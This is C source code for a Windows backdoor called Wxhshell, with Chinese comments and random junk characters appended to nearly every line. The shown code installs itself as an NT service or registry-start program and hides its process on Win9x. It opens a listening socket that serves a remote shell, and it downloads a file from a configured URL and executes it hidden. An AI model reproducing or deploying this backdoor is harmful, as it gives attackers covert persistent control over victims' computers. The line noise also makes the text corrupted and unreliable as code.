DWORD AffinityMask; s I 0:<6W
DWORD BasePriority; `4Fw,:+e
ULONG UniqueProcessId; m,5?|J=
ULONG InheritedFromUniqueProcessId; lG[j,MDs
} PROCESS_BASIC_INFORMATION; qJ~fEX
Da)_O JYE
PROCNTQSIP NtQueryInformationProcess; puh-\Q/P
!@arPN$
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )g^O'e=m
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pUu<0a^
_0ZBG(
HANDLE hProcess; (7$BF~s:,
PROCESS_BASIC_INFORMATION pbi; L{XW2c$h
[{>1wJ Pdj
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X<v1ES$
if(NULL == hInst ) return 0; :+?rnb)N
93,7yZ5#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q(2ZJn13f
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?O]RQXsZ2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X]W(
uA t{WDHm
if (!NtQueryInformationProcess) return 0; _ib
@<%
d*U<Ww^q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *dC&*6Rx
if(!hProcess) return 0; 6y^GMlsI
{lppv(U
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U+["b-c
.F$cR^i5u
CloseHandle(hProcess); r{*BJi.b
pWH,nn?w.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I_R 6
M1
if(hProcess==NULL) return 0; ;Z`R!
t4hc X[
HMODULE hMod;
&Du S*
char procName[255]; T_9o0Q k
unsigned long cbNeeded; mGJRCK_
"];@N!dA
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z'"Y+EWN
[1z.JfC :S
CloseHandle(hProcess); :"@-Bcln
8L6b:$Y3@C
if(strstr(procName,"services")) return 1; // 以服务启动 kN#3HI]8
5;HCNwX
return 0; // 注册表启动 OpK_?XG
} Nn U`u.$D
vWa\8y f
// 主模块 % w
int StartWxhshell(LPSTR lpCmdLine) m4'jTC$
{ Y;
to9Kv$
SOCKET wsl; C\dk}A
BOOL val=TRUE; M0KU}h
int port=0; MhB>bnWXR
struct sockaddr_in door; #k)t.P
Q
k;qWiYMV
if(wscfg.ws_autoins) Install(); 3 4&xh1=3
~sq@^<M)s
port=atoi(lpCmdLine); L9F71bs59
9^nRwo
if(port<=0) port=wscfg.ws_port; (qz)3Fa
7QoMroR
WSADATA data; \F""G,AWq{
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U;!J(Us
8yH)9#>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3iL\<^d*ht
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !?+q7U
door.sin_family = AF_INET; IcGX~zWr
door.sin_addr.s_addr = inet_addr("127.0.0.1"); E\p"%
door.sin_port = htons(port); .;l`VWP
o)R<sT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G!h75G20
closesocket(wsl); l/\D0\x2
return 1; AD@ {7
} ( 5uSqw&U
(Fq:G) $
if(listen(wsl,2) == INVALID_SOCKET) { 9b@yDq3hQ
closesocket(wsl); tE-g]y3
return 1; M* {5> !\
} Z/|=@gpw
Wxhshell(wsl); :3b02}b7
WSACleanup(); Q(e
8.+
yZTg
return 0; {esb"beGLa
xH}bX- m
} 25@@-2h @
-~X[j2
// 以NT服务方式启动 }Gy M<!:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XP?)xDr8
{ vJV/3-yX
DWORD status = 0; &
d$X:
DWORD specificError = 0xfffffff; gFTlP
}d;6.~Gw
serviceStatus.dwServiceType = SERVICE_WIN32; <iGW~COd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jp^Sw|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Xu4N"@
serviceStatus.dwWin32ExitCode = 0; O}p<"3Ub
serviceStatus.dwServiceSpecificExitCode = 0; (Nv-wU
serviceStatus.dwCheckPoint = 0; )?c,&
serviceStatus.dwWaitHint = 0;
X>P|-n#
^5(d^N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {t!7r_hj
if (hServiceStatusHandle==0) return; %/5Wj_|p
_mwt{D2r}
status = GetLastError(); Vo6g /h?`
if (status!=NO_ERROR) n\f]?B(
{ 9\/oL{
serviceStatus.dwCurrentState = SERVICE_STOPPED;
r9L--#=z
serviceStatus.dwCheckPoint = 0; "Wr[DqFd
serviceStatus.dwWaitHint = 0; vUOl@UQ5
serviceStatus.dwWin32ExitCode = status; 4z9lk^#"X
serviceStatus.dwServiceSpecificExitCode = specificError; M]/DKo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^H{YLO
return; =Vazxt@[
} '
2O@
Kr `/sWZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; ecR)8^1 '
serviceStatus.dwCheckPoint = 0; ]^>:)q
serviceStatus.dwWaitHint = 0; =
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J_-fs#[x
} E-FR
w
a7453s
// 处理NT服务事件,比如:启动、停止 %~gI+0HK
VOID WINAPI NTServiceHandler(DWORD fdwControl) X)+6>\
{ r\Kcg~D>
switch(fdwControl) =6"5kz10
{ ^NRf
case SERVICE_CONTROL_STOP: I0z 7bx
serviceStatus.dwWin32ExitCode = 0; o0|Ex\
serviceStatus.dwCurrentState = SERVICE_STOPPED; pe\Nwq
serviceStatus.dwCheckPoint = 0; v\@RwtP
serviceStatus.dwWaitHint = 0; gq/Za/!6
{ !2Z"Lm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :."oWqb)
} n+te5_F
return; jlFlhj:/I
case SERVICE_CONTROL_PAUSE: di0@E<@1:
serviceStatus.dwCurrentState = SERVICE_PAUSED; L$.3,./
break; 0 yq
case SERVICE_CONTROL_CONTINUE: +}a(jO
serviceStatus.dwCurrentState = SERVICE_RUNNING; Jww#zEK
break; X;Sb^c"j1
case SERVICE_CONTROL_INTERROGATE: x&0kIF'lq
break; lG%697P
}; +A)>
zx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V[K N,o{6
} pt,L
a !%,2|U
// 标准应用程序主函数 ;l
ZKgi8`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fb=uN
{ |?8nO.C~V
DL1nD5
// 获取操作系统版本 !4'F z[RK
OsIsNt=GetOsVer(); !2l2;?jM
GetModuleFileName(NULL,ExeFile,MAX_PATH); T,1qR:58
+>K&zS
// 从命令行安装 i/1$uQ
if(strpbrk(lpCmdLine,"iI")) Install(); >7%T%2N
yNP4Ey
// 下载执行文件 V-n{=8s
if(wscfg.ws_downexe) { zqXF`MAB=
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gu[EYg
WinExec(wscfg.ws_filenam,SW_HIDE); \AKP ea=
} j-W$)c3X
`Hlf.>b1
if(!OsIsNt) { emK*g<]
// 如果时win9x,隐藏进程并且设置为注册表启动 J:Qx5;b;
HideProc(); /Xb4'Qj
StartWxhshell(lpCmdLine); Y%;X7VxU*
} MJ1qU}+]
else X.k8w\~
if(StartFromService()) V<jj'dZfW
// 以服务方式启动 J&,hC%]
StartServiceCtrlDispatcher(DispatchTable); %oTBh* K'o
else x5BS|3W$a
// 普通方式启动 HbsNF~;
StartWxhshell(lpCmdLine); Opc szq5n
TnK<Wba
return 0; %HoD)OJe
}